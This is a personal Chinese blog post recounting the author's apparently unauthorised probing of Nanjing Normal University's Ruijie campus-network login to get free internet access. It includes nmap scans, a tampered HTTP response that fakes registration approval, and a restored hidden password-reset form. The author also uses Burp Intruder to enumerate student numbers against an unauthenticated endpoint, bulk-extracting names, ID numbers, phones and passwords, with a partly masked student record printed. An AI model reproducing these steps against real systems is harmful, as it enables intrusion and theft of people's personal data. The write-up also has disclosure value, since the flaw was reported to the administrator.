记录了最近在南师大对其校园网逻辑漏洞测试中的一些有趣曲折的点,虽然最后没有白嫖上网成功,但是也有意外地收货,23333

前言

最近常来南京师范大学(随园校区)这边玩,来感受一下研究生们的学霸学习氛围~ 作为一名职业网民,打开电脑的第一件事当然就是来连接周围的 WiFi 啦。南师大的 WiFi 是校园网全校覆盖的,在学校周边也是可以连接到校园 WiFi 的。当然连上 WiFi没有这么简单,进行认证后才可以开开心心上网,接下来就分享一下最近的校园网认证系统的探索过程。

校园网概览

这一块记录了国光本人平时做信息收集的思路和方法,欢迎志同道合的小伙伴一起交流信息收集的相关技术~

SSID

首先校园网有2种SSID,分别是:

mnu_stu :学生专用
mnu_sta :老师专用

上网认证

http://223.x.xx.xxx/eportal/index.jsp?wlanuserip=30d5b38028f3479d2be5113c417dc933&wlanacname=63cbbfe1990b214e&ssid=&nasip=428fd27b3f03bb3b7072e332292b3066&snmpagentip=&mac=82bff3ae27d78ed0425049c67e9564a3&t=wireless-v2&url=ddcf351fa2345782b4adc5cf7326a4a76bcbe2460ba43a33e495990859bb0d4500d7ff5d3fbd60c4&apmac=&nasid=63cbbfe1990b214e&vid=57a7181b22993f48&port=1dcf032f51eb16cf&nasportid=f5eb983692924fa26e6431fe9df4835fc5f153c43b10c5dbcca27b7d788c193aa021d58a893d1a20

IP

223.x.x.x: 江苏省南京市 教育网 ~~ 手机用流量访问这个URL认证界面无页面显示

通知公告


有效信息提取
教师和学生使用不同的SSID来使用校园网进行上网,接着提供了一个宿舍网络服务指南。

《宿舍网络服务指南》

<a href="http://net.njnu.edu.cn/Page/Show/106">《宿舍网络服务指南》</a>

点击这个超链接闪了一下,然后页面刷新了一下还是这个上网认证界面。然鹅这个是外网的地址,使用手机流量是可以正常访问的。
有效信息提取
最后面的邮箱地址:或邮至60167@njnu.edu.cn 后期可能会用这个邮箱(最后漏洞反馈个这个邮箱了),先记下来再说。
有效信息提取

  1. 登录上面的自助注册
  2. 版权所有 ©2000-2016 锐捷网络(这个居然是锐捷的通用漏洞 有人根据这篇文章提交 CNVD 了,大吃一惊)

自助注册

知道为啥有人叫我国光小姐姐了,原来是这个图里面我的资料填写了:

有效信息提取

  1. 首先是最直接的信息,没想到这个页面直接缓存了一个学姐的信息~ 这个可能就是传说中的页面缓存漏洞吧
    性别: 女
    证件号码: 21140xxx
    电话号码: 15651xxxxx 	 
    住址: 江苏省南京市	  	
  2. 注册和审核结果查询,理论上来说可以再这个自助服务系统注册然后查看审核结果进度

电脑分配的ip

查看电脑分配的ip地址,观察下网关ip情况:

可以看到外网不通,内网的网关ip地址是:172.24.0.1

进阶信息收集

Nmap

一般来说校园网是一个大的内网,这个时候拿出masscannmap进行全方位扫描下肯定会发现很多资产列表的。
这里有小伙伴要问了:为什么进行校园网认证要收集这些资产呢?
下面说下我曾经内网收集我的母校的情况: 在学校内搭建一些应用的服务器有的是不需要进行统一上网认证的,可能是进行了区域的限定,在那个区域的服务器有免认证的特权,所以信息收集的话 找到这些服务器是 关键要素 ,然后随便利用写历史上爆发的漏洞,比如:MS17-010 等等 直接拿到服务器权限,搭建有 Web 应用的服务器 可以尝试先拿到 webshell,然后提权进服务器…… 这里大家都是知道的,不具体谈这个。 拿到服务器后可以尝试搭建VPN,因为内网是相通的,这个时候利用这个VPN就可以免认证上网了……(以上纯属是国光的一厢情愿,YY……)

Nmap 信息收集结果

分别使用如下格式,对3个网段进行扫描

nmap -sV -T4 -O -F --version-light 172.24.0.1/24
nmap -sV -T4 -O -F --version-light 192.168.11.1/24

没有任何结果,我果然是一厢情愿~ 南师大内网很奇葩,在内网也必须得走上网认证才可以,无法直接去ping通,
Nmap 扫描期间都会转向开了的808081端口的服务器。

结论
端口扫描 – 扑街

思路转换

直接暴力入侵服务器然后搭建VPN的方法落空,现在只能从这个校园网认证系统进行研究。
方向:

  1. 是否有后台管理系统
  2. 能否使用其他研究生学号暴力破解密码
  3. 是否存在逻辑漏洞
  4. 上网认证系统 or 校园网自助服务系统
  5. JBoss 搭建的应用是否存在 Java 反序列化漏洞
  6. ©2000-2016 锐捷网络 历史上是否爆出相关的漏洞
  7. 60167@njnu.edu.cn 这个学习校园网管理员的邮箱 是否可以社工?

这里我选择了 主要测试 校园网自助服务器系统,因为这里是192开头的内网地址,难度上肯定要低于223开头的外网系统的应用。
测试方法 这里测试的是 逻辑漏洞,暴力破解的话 ,通过注册页面可以看出这里是 个人自定义设置密码的,不存在默认密码的可能,密码的复杂度就会很高,所以这里不到万不得已,绝对不使用暴力破解。

尝试逻辑漏洞绕过验证

先注册完善一个用户信息:

然后查询下审核结果:
下面是审核查询的结果:

可以看到状态是未审核,尝试在查询审核结果的登录界面进行抓包,修改其返回包:

图片看不清的下面提供具体的HTTP数据包:

POST /selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.findUserinfo HTTP/1.1
Host: 192.168.11.98:8080
Content-Length: 13
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.11.98:8080
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://192.168.11.98:8080/selfservice/module/userself/web/reguserinfo_guest.jsf
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=EE81927464803C8FA092134E85A89DEF
Connection: close

key=gg:123456

# 返回包如下

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1
P3P: CP="CAO PSA OUR"
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html;charset=gbk
Content-Length: 753
Date: Thu, 16 Nov 2017 08:15:19 GMT
Connection: close





{"regUserinfoUuid":"40288be25b65ab9e015fc3dff1b56164","userId":"gg","password":"123456","userType":2,"judgeType":1,"createTime":"2017-11-16 16:09:14","lastUpdateTime":"2017-11-16 16:09:14","stateFlag":2,"userName":"\u56fd\u5149","sex":2,"certificateType":2,"certificateNo":"2114xxxx","address":"\u6c5f\u82cf\u7701\u5357\u4eac\u5e02","telephone":"1565xxxxxxx","nasPort":0,"firstBind":0,"userRegInfo":"\u6ca1\u6709\u7f51\u548c\u4e00\u6761\u54b8\u9c7c\u6709\u4ec0\u4e48\u533a\u522b~~","nextBillingTime":"1980-1-1 0:00:00","isPeriodStop":2,"periodTimeCumut":0,"periodTrafficCumut":0.000000,"periodForeUpCumut":0.000000,"periodForeDownCumut":0.000000,"periodInlandUpCumut":0.000000,"periodInlandDownCumut":0.000000,"periodNtdFlowSumCumut":0.000000}

这里将这个judgeType:1修改为:judgeType:0
然后再发包,结果如下:

审核通过了!整理本次注册使用的信息如下

用户名:gg
证件号:21140xxx
密码:123456
密码组合:
用户名:gg 密码:123456
证件号:21140xxx 密码:123456

但是尝试这些密码组合最后都失败了,尽管我们已经篡改了返回包临时欺骗了系统,系统显示注册信息审核通过了,但是实际上,我们还是没有欺骗上网认证系统,上网依然需要认证。

结论
篡改返回包 – 失败

尝试密码找回漏洞

密码找回直接在前端界面处并没有找到,由于前段时间看过补天排名第一的大神总结的: 密码找回漏洞的10种姿势,所以这里得想办法找到密码找回的URL。在上网认证界面处刷新一下,Burp抓包,然后看返回包,可以在返回包里面直接看到网站的部分源代码。在里面可以找到密码找回的URL处~

具体的关键代码如下:

//忘记密码
	    if(pageInfo.isForgetPassword&&pageInfo.isForgetPassword=='true'){
	    	$("#forgetPassword").attr("href",pageInfo.selfUrl+"/module/userself/web/password_retrieve.jsf?eportal=true");
	    	$("#forgetPasswordDiv").show();
	    }else{
	    	$("#forgetPasswordDiv").hide();
	    }

看到忘记密码熟悉的URL,好像在自助服务这里有看到过,于是乎尝试在自助服务的后面+ 这串URL,成功获取到了找回密码界面。

到这里开始有些兴奋了,最近学的密码重置找回漏洞终于要拍上用场了 :-D 赶紧输入 一个学姐的学号 点击下一步~~ ,结果大吃一惊

找回密码的界面这里是空的,难道代码被注释了嘛??于是审查元素看看~

果然发现了被注释的代码,除了使用了

<!--注释-->

这种格式的代码来注释,还使用了

<div style="display:none"></div>

来隐藏了界面的布局:

最后恢复了完整的布局是酱紫的:

但是点击发送的时候,还是提示 输入的手机号码是空的。代码里面已经还原了所有隐藏的组件了还是没有找到手机号码的输入框~~ 猜测可能是管理员删了这一段代码……心里还是有点不甘,感觉卡在这里 岂不是很尴尬,于是尝试自己手动添加
input输入框,然后来猜测id值,这里的id我尝试了很多,在一个js里面找到了id的正确值:

最后成功添加如下输入框:

<input maxlength="32" class="text1" id="phonespans" style="color: rgb(153, 153, 153);" type="text">

然后再输入这个学号绑定到的手机号,在隐藏域中可以找到:


有了账号,有了输入框,赶紧输入进去点击发送按钮看看~

结果!提示短信发送失败……

终于知道管理员为什么要注释删除这段代码了,因为这个密码找回的功能本来就用不了~ 可能是管理员服务器没有配置短信发送和邮件发送~~ 吐血ing

结论
密码找回 – GG

意外测试–学生敏感数据泄露

在密码找会这个页面,输入用学号,意外发现了惊喜~

然后查看下返回包:

为啥第一次没有发现这个返回包呢?细心的读者朋友看下右侧 BP 返回吧的滚动条,居然上面有一大段空白,所以第一次没有滚蛋到最底下就错过了这个细节。

具体返回包关键内容如下:

{
    "userinfoUuid":"818181824c971068014cb6bf35da1f49",
    "userId":"2014xxx",
    "businessType":3,
    "password":"ShYfZxxxxxxxx",
    "userType":1,
    "userFrom":8,
    "userTemplateUuid":"40288bf223382853012347bd769c15ca","accountInfoUuid":"818181824c971068014cb6bf35c91f47","webSelfhelpPerUuid":"4028b62f3739e69701373a015828003a",
    "policyInfoUuid":"40288bf222c5d29a0122c6a8e9370022","userPackageUuid":"1155073Ef190Ef4CC9fBBD3fA31401B4",
    "createTime":"2015-4-14 15:05:26",
    "lastUpdateTime":"2016-5-9 1:19:08",
    "createManagerId":"system",
    "stateFlag":2,
    "userName":"\u80e1\u73a5",
    "certificateType":1,
    "certificateNo":"620321199xxxxxxxxx",
    "address":"\u7d2b\u91d1\u6821\u533a21\u53f7104",
    "mobile":"1565xxxxxxx",
    "nasPort":0,
    "freeAuthen":1,
    "firstBind":0,
    "periodStartTime":"2016-5-22 2:00:15",
    "nextBillingTime":"2016-6-21 0:00:00",
    "isPeriodStop":2,
    "policyFrom":2,
    "field3":"\u662f",
    "field4":"\u5728\u6821\u5168\u65e5\u5236\u7edf\u62db\u672c\u79d1\u751f",
    "groupinfoId":"\u672c\u79d1\u751f",
    "campusGroupinfoUuid":"818181814bf25e97014c4fb7ab207597",
    "campusPolicyFrom":2,
    "campusTemplateUuid":"40288bf223382853012347bd769c15ca",
    "campusPackageUuid":"1155073Ef190Ef4CC9fBBD3fA31401B4",
    "campusWebSelfhelpPerUuid":"4028b621133e18c90113300000000001",  
    "haveOperatorsInfo":false,
    "numOfOperatorsBindInfo":0,
    "canAcctDetail":false
}

里面的汉字数据全部是使用了unicode转换了,重新使用unicode码转汉字即可看到原来的内容。
然后把key=2014xxxx换成key=2015xxxx后,发现返回的数据值也变了
尝试批量
这里借助这个POST的URL,穷举key=2014xxxx的值可以达到批量提取数据的效果。说到批量可以使用Python来编写脚本,但是我个人觉得不要重复造轮子,BurpSuite本身就可以完全实现“脱裤”效果,下面是具体的过程演示。

数据发送到穷举模块

这一步大家一定很熟悉,右键 数据包 发送 穷举模块,准备进行爆破:

然后Clear $清除所有的变量,标记key=2014xxx后面的字段,然后Add $

字典这里使用Burp自带的数字字典,从2014011020140610 500个数据,这里粗略尝试看下效果怎么样。

从返回包提取关键数据

Intruder模块中转到Options,然后找到Grep-Extract,关于这个功能官方这里给的介绍如下:

这些设置可以从返回结果的数据包中提取筛选处有用的信息

好!这正是我们想要的功能,然后Add添加想要的数据,然后直接鼠标标记出来点击ok,这时候,Burp就智能的匹配确认了所要提取的数据信息,这里我添加了userIduserNamecerticateNomobile分别对应用户id用户名身份证号手机号

设置好这些直接点击Start attack开始攻击。 然后坐等结果列表了。

成功拿到结果:

总结

没错,最后我依然没有绕过上网认证系统去上网,这篇文章纯属是自己误打误撞的产物,不说了,这个月的流量又要超标了。最后这个漏洞也通过邮件形式反馈给前面收集到的网管的邮箱了。

点评

这是国光早期为数不多写的实战文章,当时好评还可以的,如果不是期间误删了评论的数据库,这篇文章当时还是很多评论的。比较有意思的是,后面一段时间爆出的锐捷通用漏洞也是出自这篇文章,我自己当时居然都没有这种提交 CNVD 的这种敏锐的嗅觉,当时真的是心无杂念,233333

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光